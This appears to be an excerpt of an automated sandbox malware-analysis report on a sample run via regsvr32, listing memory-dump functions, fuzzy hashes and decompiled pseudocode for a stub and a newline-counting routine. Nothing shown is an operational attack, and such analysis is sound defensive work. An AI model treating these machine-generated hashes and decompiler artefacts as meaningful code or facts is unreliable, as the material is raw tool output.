Memory Dump Source

Source File: 00000003.00000002.861337089.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: gLv
API String ID: 0-1669999040
Opcode ID: d372408e4ccfa21733394c795309bb98bbbf8ce06b144d4f85a8e8de8872e02b
Instruction ID: 538d9b4119cb17d895a86ac298e6a3e210b95deb62fa72aaa7ad06fc5406fb67
Opcode Fuzzy Hash: d372408e4ccfa21733394c795309bb98bbbf8ce06b144d4f85a8e8de8872e02b
Instruction Fuzzy Hash: 7641A2B190078E8FDF84CF64C88A5DE7BB0FB18358F104619F866A6290D3B89665CF95

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800018DC Relevance: 1.3, Strings: 1, Instructions: 77COMMON

Download Yara Rule

Strings

2|, xrefs: 0000000180001938

Memory Dump Source

Source File: 00000003.00000002.861337089.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: 2|
API String ID: 0-4112153497
Opcode ID: c8d3a13c8ccf64a8a58613b82b71848b75fef30a95d8cbfed718dfac3d203234
Instruction ID: 827bfeaaf54ac22f35409d9e0bc8bc216d69849b7f3c8f7ee62869e27f42c93b
Opcode Fuzzy Hash: c8d3a13c8ccf64a8a58613b82b71848b75fef30a95d8cbfed718dfac3d203234
Instruction Fuzzy Hash: 9831E3715083448FD7A8DF28C58A64BBBF1FBC6704F50891DE6CA8A260DB76D949CB03

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180024E8C Relevance: 1.3, Strings: 1, Instructions: 74COMMON

Download Yara Rule

Strings

v)v, xrefs: 0000000180024F79

Memory Dump Source

Source File: 00000003.00000002.861337089.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: v)v
API String ID: 0-2248367734
Opcode ID: 2bcb51d8d69df24c6edafa72637552a2373937b3983906909be42b2c69647502
Instruction ID: 364ec9973aa4d4397e19290b5e358521208e8b8e9bcdd5f68c8cff643d03b012
Opcode Fuzzy Hash: 2bcb51d8d69df24c6edafa72637552a2373937b3983906909be42b2c69647502
Instruction Fuzzy Hash: F331F070D1061C9BDF88DFB8D98A5DDBBF0BB48308F50822DD816B6290D7785A45CF68

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001A244 Relevance: 1.3, Strings: 1, Instructions: 73COMMON

Download Yara Rule

Strings

b, xrefs: 000000018001A33B

Memory Dump Source

Source File: 00000003.00000002.861337089.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: b
API String ID: 0-1908338681
Opcode ID: 5c89091f536466ceb080f1d1e28f260bf576be1cc8fd92ec1553e45ebcd84ee5
Instruction ID: f0e1eb19c7dbddc35f8452ff877fca93af29a2f1fff35f3d77f9cb584fcf574e
Opcode Fuzzy Hash: 5c89091f536466ceb080f1d1e28f260bf576be1cc8fd92ec1553e45ebcd84ee5
Instruction Fuzzy Hash: 03318AB45187818BD748DF28C48A51ABBE1BBCC308F404B1DF8CAAB290D778D645CF4A

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180004C84 Relevance: 1.3, Strings: 1, Instructions: 72COMMON

Download Yara Rule

Strings

4V, xrefs: 0000000180004D12

Memory Dump Source

Source File: 00000003.00000002.861337089.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: 4V
API String ID: 0-2029721033
Opcode ID: 769ed79980ab7c17607fb2a7530e8cf4555affdcba5f868162cee1672267c762
Instruction ID: fb7db775b664b0d3c570a7f0fb998a26ab096414874767ba6ce9c2ddb505002d
Opcode Fuzzy Hash: 769ed79980ab7c17607fb2a7530e8cf4555affdcba5f868162cee1672267c762
Instruction Fuzzy Hash: 35317EB1529381ABC398DF28D48991ABBE0FBC9319F906A1DF8C686260D775D445CB43

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000D33C Relevance: 1.3, Strings: 1, Instructions: 72COMMON

Download Yara Rule

Strings

Y, xrefs: 000000018000D348

Memory Dump Source

Source File: 00000003.00000002.861337089.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: Y
API String ID: 0-579211002
Opcode ID: 03f99ebe5c0d261df21266526922a56c4bf110c7ce12b49571ee028e77ef7952
Instruction ID: d52e37d8e829f7bf09c76be028e3832acc35618c6393028d878de08740772734
Opcode Fuzzy Hash: 03f99ebe5c0d261df21266526922a56c4bf110c7ce12b49571ee028e77ef7952
Instruction Fuzzy Hash: 6B3199B0628781AFD78CDF28D09591EBBF1BB95304F816A1DF9868B350D374D414CB42

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000FFB8 Relevance: 1.3, Strings: 1, Instructions: 72COMMON

Download Yara Rule

Strings

^9>, xrefs: 0000000180010049

Memory Dump Source

Source File: 00000003.00000002.861337089.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: ^9>
API String ID: 0-4217583566
Opcode ID: 99b96e795b7dc7b64623807c31b20c0beeca2e9bdd8a3c8647e060f62ad46310
Instruction ID: 66e290ff6feddeacdb4284817e5b4d87f17352d9521401116a3b43f8e687092b
Opcode Fuzzy Hash: 99b96e795b7dc7b64623807c31b20c0beeca2e9bdd8a3c8647e060f62ad46310
Instruction Fuzzy Hash: 043195B052C781ABD38CDF28D59991ABBE1FB88304F806A2DF98687350D7749405CB06

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000F65C Relevance: 1.3, Strings: 1, Instructions: 69COMMON

Download Yara Rule

Strings

', xrefs: 000000018000F759

Memory Dump Source

Source File: 00000003.00000002.861337089.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: '
API String ID: 0-1754440256
Opcode ID: bb5682c0c03eaef1c42ab1fada343d1c36182aea588d254df19f18955fdf5baa
Instruction ID: fddaaf9fef39b9863f7399bafce995f0162eb0fd087cf0c9f071200e9bede090
Opcode Fuzzy Hash: bb5682c0c03eaef1c42ab1fada343d1c36182aea588d254df19f18955fdf5baa
Instruction Fuzzy Hash: 6C3190B5568381ABD388DF28C48A81ABBF1FB89309F806A1DF8C697290D774D505CB43

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180010E2C Relevance: 1.3, Strings: 1, Instructions: 64COMMON

Download Yara Rule

Strings

0}, xrefs: 0000000180010EE2

Memory Dump Source

Source File: 00000003.00000002.861337089.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: 0}
API String ID: 0-2955618701
Opcode ID: ed16cbbcfbbcbb337e758db43539c911112abd1f77a6fd240bb93297a03d82aa
Instruction ID: 310544daead9385152b6bb6f767cc5642df5d41ae985bd1ca070581a1f5029a7
Opcode Fuzzy Hash: ed16cbbcfbbcbb337e758db43539c911112abd1f77a6fd240bb93297a03d82aa
Instruction Fuzzy Hash: BD318CB152C780AFD388DF29D58581BBBE1BBC8354F816A1DF8869A3A0D374D454CB43

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800098AC Relevance: 1.3, Strings: 1, Instructions: 63COMMON

Download Yara Rule

Strings

6N, xrefs: 00000001800099AB

Memory Dump Source

Source File: 00000003.00000002.861337089.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: 6N
API String ID: 0-1503784733
Opcode ID: 64009cb702ab880bf13c3cab94a497b1ba50c4e5de7d58810e1a47541d9764be
Instruction ID: 509940e0b1c30c62a457dcbeb46f648ff997e879041082b29690773be31fc20d
Opcode Fuzzy Hash: 64009cb702ab880bf13c3cab94a497b1ba50c4e5de7d58810e1a47541d9764be
Instruction Fuzzy Hash: 03316EB15087849BD359DF28C44941ABBE1BB9C74CF404B1DF4CEAA294D378EA05CB4A

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800197CC Relevance: 1.3, Strings: 1, Instructions: 63COMMON

Download Yara Rule

Strings

S}, xrefs: 00000001800198C4

Memory Dump Source

Source File: 00000003.00000002.861337089.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: S}
API String ID: 0-4277866985
Opcode ID: 9204beefac392b0664269058dff9026211a8c98b25c67369d68aa0a88d0b1b80
Instruction ID: 981d8c0b1915b330309818a06be3e1b62058efdba40d8938ecc09db8fd197c88
Opcode Fuzzy Hash: 9204beefac392b0664269058dff9026211a8c98b25c67369d68aa0a88d0b1b80
Instruction Fuzzy Hash: C2318DB0528780ABD398DF28D09981BBBE1FB88304FC06A2DF8868B390D775D405CB02

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800196D4 Relevance: 1.3, Strings: 1, Instructions: 59COMMON

Download Yara Rule

Strings

u*AR, xrefs: 000000018001978C

Memory Dump Source

Source File: 00000003.00000002.861337089.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: u*AR
API String ID: 0-611844632
Opcode ID: 316cc6e03d4b491a2fefa3fc953153219074a866ad4320226e03a4da5f6d7e1c
Instruction ID: 4a489351f2a6e29881c8f79a026a0662c3ab790d052b8c2d179263a6cda8060b
Opcode Fuzzy Hash: 316cc6e03d4b491a2fefa3fc953153219074a866ad4320226e03a4da5f6d7e1c
Instruction Fuzzy Hash: 81319AB190078E8FDB88CF28D85A19F7BA0FB08744F004A19FC2AC6664D7B4D665CB95

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000DBA0 Relevance: 1.3, Strings: 1, Instructions: 58COMMON

Download Yara Rule

Strings

g*`, xrefs: 000000018000DCA8

Memory Dump Source

Source File: 00000003.00000002.861337089.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: g*`
API String ID: 0-1142845859
Opcode ID: ecd9b6f06ea3e15cef9020f215267a6c8e4077a719616416cf50a4847ea23b4d
Instruction ID: f9f7828494e96a0a08956c253056d9f27b29fd5b0ef4eda943c61119651683e0
Opcode Fuzzy Hash: ecd9b6f06ea3e15cef9020f215267a6c8e4077a719616416cf50a4847ea23b4d
Instruction Fuzzy Hash: 36217DB4628781AFD398DF28C58A91ABBE1BBC8354F806A1DF88686260D774D441CB03

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001A6BC Relevance: 1.3, Strings: 1, Instructions: 52COMMON

Download Yara Rule

Strings

n*=, xrefs: 000000018001A6F9

Memory Dump Source

Source File: 00000003.00000002.861337089.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: n*=
API String ID: 0-1578461029
Opcode ID: 85a94e162fe566181e844c197690dac5944caba91e7c5ed0215508e7230f0cb5
Instruction ID: b9224894c8c53053ef958532ff3c5316933493d10f4f29e8b5540367602a81f2
Opcode Fuzzy Hash: 85a94e162fe566181e844c197690dac5944caba91e7c5ed0215508e7230f0cb5
Instruction Fuzzy Hash: 0A2168B45087848BD349DF28C48941ABBE1FB8C34CF408B2DF4CAAA261D778D6458F0A

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800092F0 Relevance: 1.3, Strings: 1, Instructions: 52COMMON

Download Yara Rule

Strings

5$, xrefs: 0000000180009317

Memory Dump Source

Source File: 00000003.00000002.861337089.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: 5$
API String ID: 0-3756733592
Opcode ID: 285dd187eca11256615302deae7724ca309a5ce7d95caa4093c7ee58bbf0eca3
Instruction ID: 05d0e672cf6b4f6cee2d19618059b787c10efd7505ae9e9b3cdf46a075e082f8
Opcode Fuzzy Hash: 285dd187eca11256615302deae7724ca309a5ce7d95caa4093c7ee58bbf0eca3
Instruction Fuzzy Hash: B62147B46087848FD388DF28C05941BBBE0BB8D318F811B5DB4CAA6264D7B8D644CB0B

Uniqueness

Uniqueness Score: -1.00%

Function 004111FA Relevance: 1.3, Strings: 1, Instructions: 17
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E004111FA(void* __ecx, void* __edx, void* __eflags, intOrPtr* __rax, void* __rsi, void* __r9) {
				void* _t3;
				void* _t5;
				void* _t7;
				intOrPtr* _t11;

				_t11 = __rax;
				_t7 = __edx;
				_t5 = E0044CEA0(E00402090(_t3, __rsi), __rax);
				asm("ud2");
				 *_t11 =  *_t11 + _t5;
				 *((intOrPtr*)(_t11 - 0x6f6f6f70)) =  *((intOrPtr*)(_t11 - 0x6f6f6f70)) + _t7;
				return _t5;
			}

0x004111fa
0x004111fa
0x00411208
0x0041120d
0x00411214
0x00411216
0x00411225

Strings

NE, xrefs: 0041120F

Memory Dump Source

Source File: 00000003.00000002.858135881.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.858071127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858626622.000000000044E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858657766.000000000044F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858697523.0000000000452000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858729371.0000000000453000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858770447.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858810973.0000000000456000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858864835.0000000000459000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858950399.0000000000476000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858950399.0000000000482000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_regsvr32.jbxd

Similarity

API ID: ExceptionRaise
String ID: NE
API String ID: 3997070919-697681259
Opcode ID: afb5365f59452fcc2a8d0728ec8ee0f24293ebfdfda406ce7522bd0691c2b5f3
Instruction ID: 4152baf1f2a6b0c2041c5521e2deb6a2650eea8e881a0ced0f8a0acab5b0443b
Opcode Fuzzy Hash: afb5365f59452fcc2a8d0728ec8ee0f24293ebfdfda406ce7522bd0691c2b5f3
Instruction Fuzzy Hash: 57C02202A0F1940FE2052A320D2703C67330683FD4F4C10529F0A53783DB4CC006420E

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000B258 Relevance: .3, Instructions: 310COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.861337089.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c1c64cfeeb38086a2dca9a5dc5c7c54d87ec123621af3d0d182b563ac43c41a0
Instruction ID: ed4bc0fd007091d6d0097389417e067f5ba4a774686061e01f3902369e9c0aad
Opcode Fuzzy Hash: c1c64cfeeb38086a2dca9a5dc5c7c54d87ec123621af3d0d182b563ac43c41a0
Instruction Fuzzy Hash: D6E1E670A0460ECFDB99DFA8C456AEEBBF2FB44348F004159E806E7290DB759619CBC5

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180001000 Relevance: .2, Instructions: 238COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.861337089.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f0d7556263b4ac9ce94f5939d6b647cebe0e0421b16219684ecf3aea226e168d
Instruction ID: 2496e6bd0bb92466131e8f0eb7f778cdcd93ddc18d6487cdfef1468a14751dbf
Opcode Fuzzy Hash: f0d7556263b4ac9ce94f5939d6b647cebe0e0421b16219684ecf3aea226e168d
Instruction Fuzzy Hash: 43C1CEB9903609CFDB68CF38C49A59D3BF1AF64308F204119FC269A2A6D774D529CB48

Uniqueness

Uniqueness Score: -1.00%

Function 00439760 Relevance: .2, Instructions: 233
COMMONCrypto

Download Yara Rule

C-Code - Quality: 58%

			E00439760(void* __rax, intOrPtr* __rcx, void* __rdx, void* __r8) {
				void* _v40;
				void* __rbx;
				void* __rdi;
				void* _t38;
				signed int _t42;
				void* _t44;
				signed int _t45;
				void* _t46;
				signed int _t48;
				signed int _t50;
				signed int _t62;
				signed int _t64;
				signed int _t65;
				void* _t74;
				void* _t77;
				void* _t78;
				signed long long _t81;
				char* _t82;
				signed int _t83;
				void* _t84;
				char* _t85;
				char* _t88;
				char* _t91;
				char* _t92;
				void* _t93;
				signed int _t94;
				void* _t95;
				void* _t96;
				signed int _t97;
				void* _t98;
				signed int _t99;
				char* _t100;
				signed int _t101;
				intOrPtr* _t102;
				void* _t105;

				_t104 = __r8;
				_t77 = __rax;
				_t102 = __rcx;
				E0043C040();
				_t52 =  *((char*)(__rcx + 0x1e));
				r8d = 1;
				_t46 = E00438220(_t38,  *((char*)(__rcx + 0x1e)), 0, _t78, _t95, __r8, _t105);
				_t65 = 0xffffffff;
				if(_t46 != 0xffffffff) {
					_t42 =  *(_t102 + 0x10);
					if(_t42 < 0) {
						_t81 =  *((char*)(_t102 + 0x1e));
						__eflags =  *(0x45de90 + 1 + _t81 * 4) & 0x00000008;
						if(( *(0x45de90 + 1 + _t81 * 4) & 0x00000008) != 0) {
							r8d = 2;
							r14d = E00438220(_t42, _t52, 0, _t78, _t95, __r8, _t105);
							__eflags = r14d - 0xffffffff;
							if(r14d != 0xffffffff) {
								r8d = 0;
								_t44 = E00438220(_t43,  *((char*)(_t102 + 0x1e)), _t46, _t78, _t95, __r8, _t105);
								__eflags = _t44 - 0xffffffff;
								if(_t44 != 0xffffffff) {
									_t45 =  *(_t102 + 0x10);
									__eflags = _t45;
									if(_t45 < 0) {
										goto L8;
									} else {
										_t62 = 0;
										__eflags =  *(_t102 + 0x1a) & 0x00000040;
										if(( *(_t102 + 0x1a) & 0x00000040) == 0) {
											goto L9;
										} else {
											goto L18;
										}
									}
								}
							}
						} else {
							r14d = _t46;
							L8:
							_t45 = _t77 + _t81 + 1;
							_t62 = 1;
							__eflags =  *(_t102 + 0x1a) & 0x00000040;
							if(( *(_t102 + 0x1a) & 0x00000040) != 0) {
								L18:
								_t65 = _t45 + r14d;
							} else {
								L9:
								_t82 =  *_t102;
								__eflags = _t62;
								if(_t62 == 0) {
									__eflags = _t45;
									if(_t45 == 0) {
										goto L30;
									} else {
										_t29 = _t77 - 1; // 0x7
										_t65 = _t29;
										_t96 = _t95 + 1;
										__eflags = _t96 - 8;
										if(_t96 >= 8) {
											_t48 = _t45 & 0x00000007;
											_t97 = _t96 - _t78;
											asm("movd xmm0, eax");
											_t45 = _t45 - _t65;
											_t88 = _t82 + _t97;
											_t83 = _t82 + 4;
											__eflags = _t83;
											asm("pxor xmm2, xmm2");
											asm("movdqa xmm3, [0x166b8]");
											asm("pxor xmm1, xmm1");
											do {
												asm("movd xmm4, dword [ecx-0x4]");
												asm("punpcklbw xmm4, xmm2");
												asm("punpcklwd xmm4, xmm2");
												asm("movd xmm5, dword [ecx]");
												asm("punpcklbw xmm5, xmm2");
												asm("punpcklwd xmm5, xmm2");
												asm("pcmpeqd xmm4, xmm3");
												asm("psubd xmm0, xmm4");
												asm("pcmpeqd xmm5, xmm3");
												asm("psubd xmm1, xmm5");
												_t83 = _t83 + 8;
												_t97 = _t97 + 0xfffffff8;
												__eflags = _t97;
											} while (_t97 != 0);
											asm("paddd xmm1, xmm0");
											asm("pshufd xmm0, xmm1, 0x4e");
											asm("paddd xmm0, xmm1");
											asm("pshufd xmm1, xmm0, 0xe5");
											asm("paddd xmm1, xmm0");
											asm("movd edi, xmm1");
											__eflags = _t48;
											if(_t48 != 0) {
												asm("o16 nop [cs:eax+eax]");
												goto L41;
											}
										} else {
											_t88 = _t82;
											_t65 = _t45;
											do {
												L41:
												__eflags =  *_t88 - 0xa;
												_t88 = _t88 + 1;
												_t65 = _t65 + (0 | __eflags == 0x00000000);
												_t45 = _t45 - 1;
												__eflags = _t45;
											} while (_t45 != 0);
										}
										goto L42;
									}
								} else {
									__eflags = _t45;
									if(_t45 == 0) {
										L30:
										_t65 = 0 + r14d;
									} else {
										_t98 = 0x45de91;
										__eflags = _t98 - 8;
										if(_t98 >= 8) {
											_t50 = _t45 & 0x00000007;
											_t99 = _t98 - _t78;
											_t91 = _t78 + 0xbadbac + _t82;
											asm("movd xmm0, eax");
											_t45 = _t45 - _t65;
											_t84 = _t82 + 0xfffffffc;
											asm("pxor xmm1, xmm1");
											asm("movdqa xmm2, [0x16786]");
											asm("movdqa xmm3, [0x1676e]");
											asm("o16 nop [cs:eax+eax]");
											do {
												asm("movd xmm4, dword [ecx]");
												asm("punpcklbw xmm4, xmm0");
												asm("punpcklwd xmm4, xmm0");
												asm("pshufd xmm4, xmm4, 0x1b");
												asm("pand xmm4, xmm2");
												asm("movd xmm5, dword [ecx-0x4]");
												asm("punpcklbw xmm5, xmm0");
												asm("punpcklwd xmm5, xmm0");
												asm("pshufd xmm5, xmm5, 0x1b");
												asm("pand xmm5, xmm2");
												asm("pcmpeqd xmm4, xmm3");
												asm("psubd xmm0, xmm4");
												asm("pcmpeqd xmm5, xmm3");
												asm("psubd xmm1, xmm5");
												_t84 = _t84 + 0xfffffff8;
												_t99 = _t99 + 0xfffffff8;
												__eflags = _t99;
											} while (_t99 != 0);
											asm("paddd xmm1, xmm0");
											asm("pshufd xmm0, xmm1, 0x4e");
											asm("paddd xmm0, xmm1");
											asm("pshufd xmm1, xmm0, 0xe5");
											asm("paddd xmm1, xmm0");
											asm("movd edi, xmm1");
											__eflags = _t50;
											if(_t50 != 0) {
												goto L34;
											}
										} else {
											_t91 = _t82;
											_t65 = _t45;
											L34:
											_t92 = _t91 - 1;
											asm("o16 nop [eax+eax]");
											do {
												__eflags =  *_t92 - 0xa;
												_t65 = _t65 + (0 |  *_t92 == 0x0000000a);
												_t92 = _t92 - 1;
												_t45 = _t45 - 1;
												__eflags = _t45;
											} while (_t45 != 0);
										}
										L42:
										_t65 = _t65 + r14d;
									}
								}
							}
						}
					} else {
						if(( *(_t102 + 0x1a) & 0x00000040) != 0) {
							_t64 = _t42;
						} else {
							if(_t42 == 0) {
								_t64 = 0;
							} else {
								_t100 =  *_t102;
								_t64 = _t77 - 1;
								_t93 = __rdx + 1;
								if(_t93 >= 8) {
									r8d = _t42;
									r8d = r8d & 0x00000007;
									_t94 = _t93 - __r8;
									asm("movd xmm0, eax");
									_t42 = _t42 - _t64;
									_t85 = _t100 + _t94;
									_t101 = _t100 + 4;
									__eflags = _t101;
									asm("pxor xmm2, xmm2");
									asm("movdqa xmm3, [0x16857]");
									asm("pxor xmm1, xmm1");
									do {
										asm("movd xmm4, dword [edi-0x4]");
										asm("punpcklbw xmm4, xmm2");
										asm("punpcklwd xmm4, xmm2");
										asm("movd xmm5, dword [edi]");
										asm("punpcklbw xmm5, xmm2");
										asm("punpcklwd xmm5, xmm2");
										asm("pcmpeqd xmm4, xmm3");
										asm("psubd xmm0, xmm4");
										asm("pcmpeqd xmm5, xmm3");
										asm("psubd xmm1, xmm5");
										_t101 = _t101 + 8;
										_t94 = _t94 + 0xfffffff8;
										__eflags = _t94;
									} while (_t94 != 0);
									asm("paddd xmm1, xmm0");
									asm("pshufd xmm0, xmm1, 0x4e");
									asm("paddd xmm0, xmm1");
									asm("pshufd xmm1, xmm0, 0xe5");
									asm("paddd xmm1, xmm0");
									asm("movd edx, xmm1");
									__eflags = r8d;
									if(r8d != 0) {
										asm("o16 nop [cs:eax+eax]");
										goto L24;
									}
								} else {
									_t85 = _t100;
									_t64 = _t42;
									do {
										L24:
										_t74 =  *_t85 - 0xa;
										_t85 = _t85 + 1;
										dil = _t74 == 0;
										_t64 = _t64;
										_t42 = _t42 - 1;
									} while (_t42 != 0);
								}
							}
						}
						_t65 = _t46 - _t64;
					}
				}
				E0043C160(_t102, _t104, _t105);
				return _t65;
			}

0x00439760
0x00439760
0x0043976f
0x00439772
0x00439777
0x0043977d
0x00439788
0x0043978a
0x00439792
0x00439798
0x0043979d
0x004397ca
0x004397d6
0x004397db
0x00439826
0x00439831
0x00439834
0x00439838
0x00439842
0x00439847
0x0043984c
0x0043984f
0x00439855
0x00439858
0x0043985a
0x00000000
0x0043985c
0x0043985c
0x0043985e
0x00439862
0x00000000
0x00000000
0x00000000
0x00000000
0x00439862
0x0043985a
0x0043984f
0x004397dd
0x004397dd
0x004397e0
0x004397e3
0x004397e7
0x004397e9
0x004397ed
0x00439864
0x00439866
0x004397ef
0x004397ef
0x004397ef
0x004397f2
0x004397f4
0x0043992c
0x0043992e
0x00000000
0x00439930
0x00439930
0x00439930
0x00439933
0x00439936
0x0043993a
0x00439a18
0x00439a1b
0x00439a1e
0x00439a22
0x00439a24
0x00439a28
0x00439a28
0x00439a2c
0x00439a30
0x00439a38
0x00439a40
0x00439a40
0x00439a45
0x00439a49
0x00439a4d
0x00439a51
0x00439a55
0x00439a59
0x00439a5d
0x00439a61
0x00439a65
0x00439a69
0x00439a6d
0x00439a6d
0x00439a6d
0x00439a73
0x00439a77
0x00439a7c
0x00439a80
0x00439a85
0x00439a89
0x00439a8d
0x00439a8f
0x00439a91
0x00000000
0x00439a91
0x00439940
0x00439940
0x00439943
0x00439aa0
0x00439aa0
0x00439aa2
0x00439aa5
0x00439aac
0x00439aae
0x00439aae
0x00439aae
0x00439aa0
0x00000000
0x0043993a
0x004397fa
0x004397fa
0x004397fc
0x0043994a
0x0043994c
0x00439802
0x00439805
0x00439809
0x0043980d
0x00439953
0x00439956
0x00439961
0x00439964
0x00439968
0x0043996a
0x0043996e
0x00439972
0x0043997a
0x00439982
0x00439990
0x00439990
0x00439994
0x00439998
0x0043999c
0x004399a1
0x004399a5
0x004399aa
0x004399ae
0x004399b2
0x004399b7
0x004399bb
0x004399bf
0x004399c3
0x004399c7
0x004399cb
0x004399cf
0x004399cf
0x004399cf
0x004399d5
0x004399d9
0x004399de
0x004399e2
0x004399e7
0x004399eb
0x004399ef
0x004399f1
0x00000000
0x00000000
0x00439813
0x00439813
0x00439816
0x004399f7
0x004399f7
0x004399fa
0x00439a00
0x00439a02
0x00439a08
0x00439a0a
0x00439a0d
0x00439a0d
0x00439a0d
0x00439a11
0x00439ab2
0x00439ab2
0x00439ab2
0x004397fc
0x004397f4
0x004397ed
0x0043979f
0x004397a3
0x0043981d
0x004397a5
0x004397a7
0x0043986e
0x004397ad
0x004397ad
0x004397b0
0x004397b3
0x004397ba
0x00439875
0x00439878
0x0043987c
0x0043987f
0x00439883
0x00439885
0x00439889
0x00439889
0x0043988d
0x00439891
0x00439899
0x004398a0
0x004398a0
0x004398a5
0x004398a9
0x004398ad
0x004398b1
0x004398b5
0x004398b9
0x004398bd
0x004398c1
0x004398c5
0x004398c9
0x004398cd
0x004398cd
0x004398cd
0x004398d3
0x004398d7
0x004398dc
0x004398e0
0x004398e5
0x004398e9
0x004398ed
0x004398f0
0x004398f2
0x00000000
0x004398f2
0x004397c0
0x004397c0
0x004397c3
0x00439900
0x00439900
0x00439902
0x00439905
0x00439909
0x0043990d
0x0043990f
0x0043990f
0x00439900
0x004397ba
0x004397a7
0x00439915
0x00439915
0x0043979d
0x0043991a
0x0043992b

Memory Dump Source

Source File: 00000003.00000002.858135881.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.858071127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858626622.000000000044E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858657766.000000000044F000.00000008.00000001.01000000.00000007.sdmpDownload File
